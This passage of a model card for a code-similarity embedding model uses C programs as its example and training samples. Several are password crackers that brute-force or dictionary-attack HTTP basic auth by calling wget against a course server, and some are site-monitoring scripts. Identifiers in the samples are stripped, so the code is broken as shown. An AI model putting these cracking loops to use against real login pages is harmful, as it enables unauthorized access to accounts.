COMPARISIONs = %d\\n",pass,(double)final/OneBillion,count);\n\t exit(1);\n\t }\n }\n }\n }\n printf("\\nFILE CANNOT OPENED\\n");\n}\n', |
|
'#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{ int startTime, stopTime, final;\n int i,j,k;\n int pass,count=0;\n char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n char [4];\n char url1[100];\n char url2[100];\n\n startTime = time();\n for (i=0;i<=52;i++)\n {\n\n for (j=0;j<=52;j++)\n {\n\n\tfor(k=0;k<=52;k++)\n\n\t { \n\t count++;\n [0] = arr[i];\n\t [1] = arr[j];\n\t [2] = arr[k];\n\t [3] = \'\\0\';\n\n\n\t printf("Checking for the word :%s\\n",);\n\t strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t strcat(url1,);\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\t if (pass == 0)\n\t { \n printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t stopTime = time();\n\n final = stopTime-startTime;\n\t\tprintf("The password for the user : %s\\n",); \n printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t \n\t\texit(1);}\n\n\n\t }\n }\n\n }\n }\n\n\n', |
|
'\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n', |
|
] |
|
embeddings = model.encode(sentences) |
|
print(embeddings.shape) |
|
# [3, 768] |
|
|
|
# Get the similarity scores for the embeddings |
|
similarities = model.similarity(embeddings, embeddings) |
|
print(similarities) |
|
# tensor([[1.0000, 0.9742, 0.9676], |
|
# [0.9742, 1.0000, 0.9571], |
|
# [0.9676, 0.9571, 1.0000]]) |
|
``` |
|
|
|
<!-- |
|
### Direct Usage (Transformers) |
|
|
|
<details><summary>Click to see the direct usage in Transformers</summary> |
|
|
|
</details> |
|
--> |
|
|
|
<!-- |
|
### Downstream Usage (Sentence Transformers) |
|
|
|
You can finetune this model on your own dataset. |
|
|
|
<details><summary>Click to expand</summary> |
|
|
|
</details> |
|
--> |
|
|
|
<!-- |
|
### Out-of-Scope Use |
|
|
|
*List how the model may foreseeably be misused and address what users ought not to do with the model.* |
|
--> |
|
|
|
<!-- |
|
## Bias, Risks and Limitations |
|
|
|
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* |
|
--> |
|
|
|
<!-- |
|
### Recommendations |
|
|
|
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* |
|
--> |
|
|
|
## Training Details |
|
|
|
### Training Dataset |
|
|
|
#### Unnamed Dataset |
|
|
|
* Size: 3,081 training samples |
|
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code> |
|
* Approximate statistics based on the first 1000 samples: |
|
| | sentence_0 | sentence_1 | label | |
|
|:--------|:--------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------|:-----------------------------------------------| |
|
| type | string | string | int | |
|
| details | <ul><li>min: 146 tokens</li><li>mean: 381.73 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 146 tokens</li><li>mean: 365.36 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.10%</li><li>1: ~0.90%</li></ul> | |
|
* Samples: |
|
| sentence_0 | sentence_1 | label | |
|
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| |
|
| <code><br><br>#include <stdio.h><br>#include <string.h><br>#include <sys/time.h><br>#define OneBillion 1e9<br><br><br>int () {<br> FILE *fp;<br> int ret;<br> char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";<br> char str[100];<br> char passwd[150];<br> int startTime, stopTime, final;<br> strcpy(passwd,strin);<br> fp = fopen("words","r");<br> <br> if (fp == NULL) {<br> printf ("\n Error opening file; exiting...");<br> exit(0); <br> }<br><br> else <br> startTime = time();<br>while (fgets(str,20,fp) != NULL) {<br> str[strlen(str)-1] = '\0';<br> if (strlen(str) < 4) {<br> strcat(passwd,str);<br> printf("string is %s\n",passwd);<br> ret = system(passwd);<br> strcpy(passwd,strin);<br> if (ret == 0) break;<br> }<br> }<br> stopTime = time();<br> final = stopTime-startTime;<br> printf("\n============================================================");<br> printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");<br> printf("\n UserName : ");<br> printf("\n Pas...</code> | <code>#include<stdio.h><br>#include<stdlib.h><br>#include<string.h><br>#include<ctype.h><br>#include<time.h><br><br>int ()<br>{<br><br> int m,n,o,i;<br> char URL[255];<br> char v[3];<br> char temp1[100];<br>char temp2[100];<br>char temp3[250];<br>char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};<br>time_t u1,u2;<br><br> (void) time(&u1); <br> strcpy(temp1,"wget --http-user= --http-passwd=");<br> strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> <br> for(m=0;m<=51;m++)<br> {<br> v[0]=[m]; <br> v[1]='\0';<br> v[2]='\0';<br> strcpy(URL,v); <br> printf("\nTesting with password %s\n",URL);<br> strcat(temp3,temp1);<br> strcat(temp3,URL);<br> strcat(temp3,temp2);<br> printf("\nSending the %s\n",temp3);<br> i=system(temp3); <br> <br> if(i==0)<br> {<br> (void) time(&u2); <br> printf("\n The password is %s\n",URL);<br> printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1...</code> | <code>0</code> | |
|
| <code><br><br>#include <stdio.h><br>#include <stdlib.h><br>#include <errno.h><br><br>int () {<br><br> while (1) { <br><br> system("wget -p www.cs.rmit.edu.");\<br><br> system("mkdir sitefiles");<br><br> system("cp www.cs.rmit.edu./index.html sitefiles");<br> system("diff sitefiles/index.html www.cs.rmit.edu./index.html | mail @cs.rmit.edu.");<br><br> system("md5sum www.cs.rmit.edu./images/*.* > imageInfo.txt");<br> system("diff imageInfo.txt sitefiles/imageInfo.txt | mail @cs.rmit.edu.");<br><br> system("cp imageInfo.txt sitefiles");<br> sleep(86400);<br> }<br> <br>}<br></code> | <code>#include<stdio.h><br>#include<stdlib.h><br>#include<ctype.h><br><br><br>int (int argc, char *argv[])<br>{<br> FILE *fp;<br> <br> while(1)<br> { <br> system("wget -p http://www.cs.rmit.edu./students");<br> <br> <br> <br> system("mkdir Images");<br> <br> if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL)<br> { <br> system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt");<br> system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt");<br> fclose(fp);<br> exit(0);<br> }<br> else<br> { <br> fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r");<br> system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt");<br> system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");<br> system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");<br> system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images");<br> fclose(fp);<br> }<br> <br> <br> <br> syste...</code> | <code>0</code> | |
|
| <code>#include <stdio.h><br>#include <stdlib.h><br>#include <strings.h><br>#include <ctype.h><br>#include<sys/time.h><br><br>int ()<br>{<br> char first[80], last[50];<br> int count =0;<br> int Start_time,End_time,Total_time,average;<br> char password[15], *getWord;<br> getWord = " ";<br> FILE *fp;<br> int systemres = 1;<br> fp = fopen("words", "r");<br> Start_time = time();<br> strcpy(first, "wget --http-user= --http-passwd=");<br> strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");<br><br> {<br> getWord = fgets(password, 15, fp);<br> if (getWord == NULL) exit(1);<br> password [ strlen(password) - 1 ] = '\0';<br> if(strlen(password) == 3)<br> {<br> strcat(first, password);<br> strcat(first, last);<br> printf("The length of the word is : %d", strlen(password));<br> printf("\n %s \n",first);<br> count++;<br> systemres = system(first);<br> if (systemres == 0)<br> {<br> printf(" Time =%11dms\n", Start_time);<br> End_time = time();<br> Total_time = (End_time - Start_time);<br> Total_time /= 1000000000.0;<br> printf("totaltime in seconds =%lldsec\n", ...</code> | <code><br><br><br><br>#include <stdio.h><br>#include <stdlib.h><br>#include <time.h><br><br>int () <br>{<br> int i,j,k,cntr=0;<br> char pass[3];<br> char password[3];<br> char get[96];<br> char username[]="";<br> int R_VALUE;<br> double time_used;<br> <br> clock_t ,end; <br> <br> =clock(); <br> <br> <br> <br> for (i = 65; i <= 122; i++)<br> {<br> if(i==91) {i=97;}<br> <br> for (j = 65; j <= 122; j++)<br> {<br> if(j==91) {j=97;}<br> <br> for (k = 65; k <= 122; k++)<br> {<br> if(k==91) {k=97;} <br> <br> pass[0] = i;<br> pass[1] = j;<br> pass[2] = k;<br> sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]); <br> cntr++;<br> <br> printf("%d )%s\n\n", cntr, password);<br> sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);<br> <br><br> R_VALUE=system(get);<br> <br> if(R_VALUE==0) <br> {<br> printf("The Password has been cracked and it is : %s" , password);<br> ...</code> | <code>0</code> | |
|
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss) |
|
|
|
### Training Hyperparameters |
|
#### Non-Default Hyperparameters |
|
|
|
- `per_device_train_batch_size`: 16 |
|
- `per_device_eval_batch_size`: 16 |
|
- `num_train_epochs`: 1 |
|
- `fp16`: True |
|
- `multi_dataset_batch_sampler`: round_robin |
|
|
|
#### All Hyperparameters |
|
<details><summary>Click to expand</summary> |
|
|
|
- `overwrite_output_dir`: False |
|
- `do_predict`: False |
|
- `eval_strategy`: no |
|
- `prediction_loss_only`: True |
|
- `per_device_train_batch_size`: 16 |
|
- `per_device_eval_batch_size`: 16 |
|
- `per_gpu_train_batch_size`: None |
|
- `per_gpu_eval_batch_size`: None |
|
- `gradient_accumulation_steps`: 1 |
|
- `eval_accumulation_steps`: None |
|
- `torch_empty_cache_steps`: None |
|
- `learning_rate`: 5e-05 |
|
- `weight_decay`: 0.0 |
|
- `adam_beta1`: 0.9 |
|
- `adam_beta2`: 0.999 |
|
- `adam_epsilon`: 1e-08 |
|
- `max_grad_norm`: 1 |
|
- `num_train_epochs`: 1 |
|
- `max_steps`: -1 |
|
- `lr_scheduler_type`: linear |
|
- `lr_scheduler_kwargs`: {} |
|
- `warmup_ratio`: 0.0 |
|
- `warmup_steps`: 0 |
|
- `log_level`: passive |
|
- `log_level_replica`: warning |
|
- `log_on_each_node`: True |
|
- `logging_nan_inf_filter`: True |
|
- `save_safetensors`: True |
|
- `save_on_each_node`: False |
|
- `save_only_model`: False |
|
- `restore_callback_states_from_checkpoint`: False |
|
- `no_cuda`: False |
|
- `use_cpu`: False |
|
- `use_mps_device`: False |
|
- `seed`: 42 |
|
- `data_seed`: None |
|
- `jit_mode_eval`: False |
|
- `use_ipex`: False |
|
- `bf16`: False |
|
- `fp16`: True |
|
- `fp16_opt_level`: O1 |
|
- `half_precision_backend`: auto |
|
- `bf16_full_eval`: False |
|
- `fp16_full_eval`: False |
|
- `tf32`: None |
|
- `local_rank`: 0 |
|
- `ddp_backend`: None |
|
- `tpu_num_cores`: None |
|
- `tpu_metrics_debug`: False |
|
- `debug`: [] |
|
- `dataloader_drop_last`: False |
|
- `dataloader_num_workers`: 0 |
|
- `dataloader_prefetch_factor`: None |
|
- `past_index`: -1 |
|
- `disable_tqdm`: False |
|
- `remove_unused_columns`: True |
|
- `label_names`: None |
|
- `load_best_model_at_end`: False |
|
- `ignore_data_skip`: False |
|
- `fsdp`: [] |
|
- `fsdp_min_num_params`: 0 |
|
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} |
|
- `fsdp_transformer_layer_cls_to_wrap`: None |
|
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} |
|
- `deepspeed`: None |
|
- `label_smoothing_factor`: 0.0 |
|
- `optim`: adamw_torch |
|
- `optim_args`: None |
|
- `adafactor`: False |
|
- `group_by_length`: False |
|
- `length_column_name`: length |
|
- `ddp_find_unused_parameters`: None |
|
- `ddp_bucket_cap_mb`: None |
|
- `ddp_broadcast_buffers`: False |
|
- `dataloader_pin_memory`: True |
|
- `dataloader_persistent_workers`: False |
|
- `skip_memory_metrics`: True |
|
- `use_legacy_prediction_loop`: False |
|
- `push_to_hub`: False |
|
- `resume_from_checkpoint`: None |
|
- `hub_model_id`: None |
|
- `hub_strategy`: every_save |
|
- `hub_private_repo`: None |
|
- `hub_always_push`: False |
|
- `gradient_checkpointing`: False |
|
- `gradient_checkpointing_kwargs`: None |
|
- `include_inputs_for_metrics`: False |
|
- `include_for_metrics`: [] |
|
- `eval_do_concat_batches`: True |
|
- `fp16_backend`: auto |
|
- `push_to_hub_model_id`: None |
|
- `push_to_hub_organization`: None |
|
- `mp_parameters`: |
|
- `auto_find_batch_size`: False |
|
- `full_determinism`: False |
|
- `torchdynamo`: None |
|
- `ray_scope`: last |
|
- `ddp_timeout`: 1800 |
|
- `torch_compile`: False |
|
- `torch_compile_backend`: None |
|
- `torch_compile_mode`: None |
|
- `include_tokens_per_second`: False |
|
- `include_num_input_tokens_seen`: False |
|
- `neftune_noise_alpha`: None |
|
- `optim_target_modules`: None |
|
- `batch_eval_metrics`: False |
|
- `eval_on_start`: False |
|
- `use_liger_kernel`: False |
|
- `eval_use_gather_object`: False |
|
- `average_tokens_across_devices`: False |
|
- `prompts`: None |
|
- `batch_sampler`: batch_sampler |
|
- `multi_dataset_batch_sampler`: round_robin |
|
- `router_mapping`: {} |
|
- `learning_rate_mapping`: {} |
|
|
|
</details> |
|
|
|
### Framework Versions |
|
- Python: 3.11.13 |
|
- Sentence Transformers: 5.0.0 |
|
- Transformers: 4.52.4 |
|
- PyTorch: 2.6.0+cu124 |
|
- Accelerate: 1.8.1 |
|
- Datasets: 3.6.0 |
|
- Tokenizers: 0.21.2 |
|
|
|
## Citation |
|
|
|
### BibTeX |
|
|
|
#### Sentence Transformers |
|
```bibtex |
|
@inproceedings{reimers-2019-sentence-bert, |
|
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", |
|
author = "Reimers, Nils and Gurevych, Iryna", |
|
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", |
|
month = "11", |
|
year = "2019", |
|
publisher = "Association for Computational Linguistics", |
|
url = "https://arxiv.org/abs/1908.10084", |
|
} |
|
``` |
|
|
|
#### BatchAllTripletLoss |
|
```bibtex |
|
@misc{hermans2017defense, |
|
title={In Defense of the Triplet Loss for Person Re-Identification}, |
|
author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, |
|
year={2017}, |
|
eprint={1703.07737}, |
|
archivePrefix={arXiv}, |
|
primaryClass={cs.CV} |
|
} |
|
``` |
|
|
|
<!-- |
|
## Glossary |
|
|
|
*Clearly define terms in order to be accessible across audiences.* |
|
--> |
|
|
|
<!-- |
|
## Model Card Authors |
|
|
|
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.* |
|
--> |
|
|
|
<!-- |
|
## Model Card Contact |
|
|
|
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.* |
|
--> |